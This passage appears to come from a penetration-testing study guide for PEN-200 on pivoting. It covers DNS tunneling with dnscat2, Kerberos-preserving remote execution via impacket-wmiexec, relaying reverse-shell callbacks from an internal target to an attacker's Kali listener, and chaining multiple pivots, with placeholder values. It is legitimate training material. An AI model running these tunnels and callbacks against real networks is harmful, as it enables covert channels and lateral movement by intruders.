6.1.3.17.1 Purpose and result

A verified constrained DNS carrier and its explicitly configured access capabilities.

6.1.3.17.2 Recognition clues

DNS is an available carrier while simpler permitted routes are unavailable.

6.1.3.17.2.1 Find the clue from your starting access

Where to investigate: Use known carrier restrictions and an explicitly approved controlled domain to inspect delegation and DNS reachability.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: Controlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed execution

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify the actual carrier and intended forwarded action; retain delegation and connectivity prerequisites.

Failure/next check: No delegation, resolver interference, egress policy or missing runtime can block the route. Keep this a conditional fallback.

dig DOMAIN NS

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Delegated zone: CONTROLLED_DOMAIN
Authoritative server: CONTROLLED_NS
Resolver path from pivot: not yet verified

Recognize this detail: Delegation is an infrastructure prerequisite; an NS record alone does not prove ownership or an operational tunnel.

Still missing before method selection: Confirm authorized control, resolver path, compatible client/server/runtime and supported intended operation.

Outcome after checkingExample and next decision
Enabled after validationThe controlled carrier and required application operation work: use this constrained fallback.
Ruled out in this contextNo approved domain/control or required DNS path exists: reject this design.
InconclusiveAn isolated DNS callback does not establish a stable tunnel or full route.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.17.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Controlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed execution.

6.1.3.17.4 Discover and verify prerequisites

dig DOMAIN NS

6.1.3.17.5 Why it works

DNS tunneling carries data through query/response infrastructure; resolver behavior, delegation, size and latency matter. A DNS callback does not automatically provide a usable full network route.

6.1.3.17.6 Execute and choose variants

Use only when ordinary transports are unavailable and DNS is demonstrably permitted. This is a conditional advanced route, but it remains in the current official BOK.

Prerequisites:

  • command execution sufficient to run a compatible client;
  • either authoritative control/NS delegation for TUNNEL_DOMAIN or direct UDP/53 reachability to the server;
  • a resolver chain that forwards the chosen domain externally;
  • permission to bind/listen on the required DNS port;
  • tolerance for low throughput and conspicuous DNS patterns.

Authoritative-domain mode:

dnscat2-server --secret=SHARED_SECRET TUNNEL_DOMAIN

Client:

./dnscat --secret=SHARED_SECRET TUNNEL_DOMAIN

Direct DNS-server mode shown by the server's own usage output:

./dnscat --dns server=DNS_SERVER,port=53 --secret=SHARED_SECRET

Server console:

windows
window -i SESSION_ID
help

A DNS query reaching the server proves only the resolver path. Match the pre-shared secret or independently verify the negotiated authentication string. Cache, recursion, EDNS, TCP fallback, DNS security controls and response-size limits can affect the channel. DNS tunneling is not DNS spoofing; spoofing remains prohibited by the current exam guide.

6.1.3.17.7 Worked example — hypothetical

Observation: a restricted host can resolve an intentionally controlled delegated zone. Test: validate delegation and the documented carrier handshake. Illustrative output: the session establishes but latency is high. Interpretation: use only a justified supported operation or prefer another available route.

6.1.3.17.8 Verify the result

Verify the actual carrier and intended forwarded action; retain delegation and connectivity prerequisites.

6.1.3.17.9 Failure and fallback

No delegation, resolver interference, egress policy or missing runtime can block the route. Keep this a conditional fallback.

6.1.3.17.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
One reachable pivot can connect to one internal TCP destinationA bindable pivot listener, source-to-listener access and pivot-to-destination connectivity§6.1.3.6 — Relay a single TCP service through a fixed forward
A foothold exposes an interface/subnet or a loopback-only serviceA usable pivot process/identity and explicit scope; both forward and return directions must be understood§6.1.3.5 — Discover pivot interfaces, routes and internal service context
Several hosts, identities, routes or competing hypotheses need coordinationExplicit scope/objective and a record of observations, unknowns and available capabilities§8.1.5 — Maintain state and select the next evidence-producing test

6.1.3.18 Preserve DNS, Kerberos names and time across a pivot

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.18.1 Purpose and result

A route-compatible name and authentication context.

6.1.3.18.2 Recognition clues

An IP connection works while hostname/Kerberos access fails.

6.1.3.18.2.1 Find the clue from your starting access

Where to investigate: Compare name resolution, ticket server principals, clock and the KDC path when an IP service works but named authentication fails.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify resolved destination, ticket/server principal and actual authenticated application action.

Failure/next check: Do not downgrade the identity claim because transport works. DNS, time, KDC access and service authorization are independent checks.

getent hosts TARGET_HOST
klist
date -u

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

TARGET_HOST resolves to WRONG_ADDRESS
Ticket server: cifs/TARGET_HOST@REALM
Direct IP transport: works

Recognize this detail: The route and credential may be valid while name/SPN context is wrong.

Still missing before method selection: Check intended DNS source/result, realm/service name, time and KDC/service routes separately.

Outcome after checkingExample and next decision
Enabled after validationCorrect naming/time and routes produce accepted service authentication: use that identity-preserving path.
Ruled out in this contextThe ticket names another service/host: reject it for this operation.
InconclusiveSuccessful IP transport without named service evidence does not settle Kerberos.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.18.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time.

6.1.3.18.4 Discover and verify prerequisites

getent hosts TARGET_HOST
klist
date -u

6.1.3.18.5 Why it works

Connection address and Kerberos service identity can be separated by supported client options. Local DNS or an IP substituted for an SPN can break a valid route/credential combination.

6.1.3.18.6 Execute and choose variants

getent hosts INTERNAL_FQDN
curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_FQDN:PORT/
klist
KRB5_TRACE=/dev/stderr kvno cifs/TARGET_HOST

The first command checks Kali's normal resolver. The curl form deliberately delegates the destination hostname through SOCKS. Do not assume a generic resolver utility will be intercepted by ProxyChains: NSS implementation and process behavior vary.

For Impacket, preserve the target hostname while routing to an IP when the tool supports it:

impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP \
  'DOMAIN/USER@TARGET_HOST'

6.1.3.18.7 Worked example — hypothetical

Observation: SMB by IP connects but Kerberos by hostname fails. Test: inspect resolver result, SPN naming and KDC route. Illustrative output: the hostname resolves outside the intended route. Interpretation: correct name resolution while preserving the service identity.

6.1.3.18.8 Verify the result

Verify resolved destination, ticket/server principal and actual authenticated application action.

6.1.3.18.9 Failure and fallback

Do not downgrade the identity claim because transport works. DNS, time, KDC access and service authorization are independent checks.

6.1.3.18.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A valid ticket/cache or a long-term key that can request a TGTMatching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context§6.3.11.13 — Inventory, convert and import tickets in the correct logon context
A password, actual NT hash, AES/NT long-term key or ticket is availableCredential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization§6.4.4.6 — Select password, NT hash, key-to-ticket or ticket authentication
Domain credentials or a domain-joined footholdCorrect realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew§6.2.9.5 — Establish domain identity, DC, DNS, time and route
DNS is an available carrier while simpler permitted routes are unavailableControlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed execution§6.1.3.17 — Conditional: tunnel through controlled DNS infrastructure

6.1.3.19 Build the callback and delivery routes separately from the attack route

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.19.1 Purpose and result

A verified return or file-delivery path for the selected execution chain.

6.1.3.19.2 Recognition clues

A pivoted exploit reaches its target but its shell/download cannot return.

6.1.3.19.2.1 Find the clue from your starting access

Where to investigate: After the attack path works, draw a new path for target-initiated callbacks/downloads and inspect the listener actually advertised to that target.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify the target-initiated connection from its source context and the final session or downloaded bytes.

Failure/next check: Wrong advertised interface, loopback bind or missing reverse forward breaks the return leg while leaving the initial attack functional.

ss -lnt
ip route get TARGET

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Tool -> proxy -> target: works
Advertised LHOST: assessment-only interface
Target -> advertised LHOST: no established route

Recognize this detail: A working initiating proxy path does not route a target's new connection back to that private interface.

Still missing before method selection: Check the target's route, listener bind, chosen reverse forward/agent listener and final handler.

Outcome after checkingExample and next decision
Enabled after validationThe target-initiated leg reaches the intended receiver and effect is verified: use the return route.
Ruled out in this contextThe target cannot reach the advertised address and no selected forward provides it: reject that callback address/design.
InconclusiveNo packets without execution proof leaves trigger and route separately unresolved.

If you do not yet have this clue: start with Diagnose connection direction, listener and session failures in order.

6.1.3.19.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward.

6.1.3.19.4 Discover and verify prerequisites

ss -lnt
ip route get TARGET

6.1.3.19.5 Why it works

Tool-to-target traffic and target-initiated callbacks can require opposite forwards. A working SOCKS request does not automatically route a target's reverse shell to Kali.

6.1.3.19.6 Execute and choose variants

A forward path and callback path are different graphs:

Kali -> tunnel -> internal service       # access path
internal target -> pivot -> Kali listener # callback path

Options:

  1. make the callback directly to an address the internal host already reaches;
  2. expose a listener on the pivot and relay it to Kali;
  3. use a Ligolo agent listener or SSH/Chisel remote forward;
  4. choose a non-callback technique such as authenticated remote execution.

Fixed SSH callback relay, run from the pivot:

ssh -N -g -L 0.0.0.0:PIVOT_PORT:127.0.0.1:KALI_PORT \
  KALI_USER@LHOST -o ExitOnForwardFailure=yes

This creates the listener on the SSH client/pivot and makes the destination connection from Kali's SSH server to Kali loopback. -g permits other hosts to use the pivot-side local forward. Verify the actual bind with ss; do not infer it from command syntax.

Also route payload delivery separately. An internal host may reach the pivot but not Kali's HTTP server; relay the delivery service or serve from the pivot when justified.

6.1.3.19.7 Worked example — hypothetical

Observation: a target is exploitable through SOCKS but no callback arrives. Test: draw the target's actual route to LHOST and expose the documented pivot listener. Illustrative output: traffic reaches the forwarded listener. Interpretation: now verify payload/handler compatibility.

6.1.3.19.8 Verify the result

Verify the target-initiated connection from its source context and the final session or downloaded bytes.

6.1.3.19.9 Failure and fallback

Wrong advertised interface, loopback bind or missing reverse forward breaks the return leg while leaving the initial attack functional.

6.1.3.19.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
Command execution or payload delivery exists but the expected usable channel does notA recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence§7.1.13 — Diagnose connection direction, listener and session failures in order
Linux command execution exists but an interactive channel is neededA confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener§4.2.6 — Connect a Linux reverse shell through an available interpreter
A tool/artifact must reach a target that can make an HTTP requestCorrect server bind and served directory; target-to-server route, available downloader and writable destination§4.2.11 — Transfer over HTTP using Linux or Windows clients

6.1.3.20 Compose multiple pivots and validate every connection leg

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.20.1 Purpose and result

A verified selected route across multiple source positions.

6.1.3.20.2 Recognition clues

A second internal network is reachable only from a later foothold.

6.1.3.20.2.1 Find the clue from your starting access

Where to investigate: Start from the last verified first-hop state, inspect the next foothold's routes and assign each new listener/carrier a source and destination.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Conditions, effects and verification

Requires: A working first route, explicit second carrier/listener directions and correct per-hop DNS/return paths

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Validate each hop with an application-aware test before chaining the final client.

Failure/next check: Avoid rebuilding every tunnel after one failure. Isolate the first broken leg and preserve working state.

hostname
ip route
ss -lnt

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Hop 1 service test: works
Hop 2 carrier: connected
Final application: times out

Recognize this detail: The break lies beyond a known working leg; a connected second carrier is not a complete final route.

Still missing before method selection: Test each listener-to-destination leg, names and return traffic independently from the correct source.

Outcome after checkingExample and next decision
Enabled after validationEvery required application leg is verified: use the composed route.
Ruled out in this contextOne required hop cannot reach the destination under the selected topology: reject that composition.
InconclusiveA final timeout without per-leg tests cannot identify which hop failed.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.20.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: A working first route, explicit second carrier/listener directions and correct per-hop DNS/return paths.

6.1.3.20.4 Discover and verify prerequisites

ip route
ss -lnt

6.1.3.20.5 Why it works

Each additional hop introduces another initiator/listener/destination path. A connected second agent does not prove that the final application or callback crosses every leg.

6.1.3.20.6 Execute and choose variants

For every additional hop, write another complete segment:

Kali -> tunnel A -> PIVOT_A -> tunnel B -> PIVOT_B -> INTERNAL_HOST:PORT

Rules:

An upstream tunnel failure invalidates every deeper observation. Do not troubleshoot target credentials until the complete path is restored.

6.1.3.20.7 Worked example — hypothetical

Observation: the first pivot reaches the second host but not its internal subnet. Test: verify the second host's route, then the selected service on each leg. Illustrative output: one forward points to the wrong loopback. Interpretation: fix that leg and retain the working first hop.

6.1.3.20.8 Verify the result

Validate each hop with an application-aware test before chaining the final client.

6.1.3.20.9 Failure and fallback

Avoid rebuilding every tunnel after one failure. Isolate the first broken leg and preserve working state.

6.1.3.20.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A foothold exposes an interface/subnet or a loopback-only serviceA usable pivot process/identity and explicit scope; both forward and return directions must be understood§6.1.3.5 — Discover pivot interfaces, routes and internal service context
A pivoted exploit reaches its target but its shell/download cannot returnTarget-to-listener/download-server path, correct advertised address and compatible reverse listener/forward§6.1.3.19 — Build the callback and delivery routes separately from the attack route
A credential appears valid but the destination's usable access is unknownReal source-to-service route, correct identity context and protocol-specific execution/logon rights§6.4.4.5 — Match route, destination service and effective authorization

6.1.3.21 Sources and shared concepts

Supplied PEN-200 Ch 19–20 pp583–652. Reach a service or network through an SSH forward, Reach internal services through an HTTP-based Chisel tunnel, Route an internal subnet through a Ligolo-ng agent, sshuttle.

Commands and their adjacent variant conditions are synchronized extracts of the linked operational procedures. Those procedures own complete execution details; this guide owns method selection, explanations and worked reasoning. Tool availability on the learner's Kali or a target must be checked in that environment.


Top of document · Reference home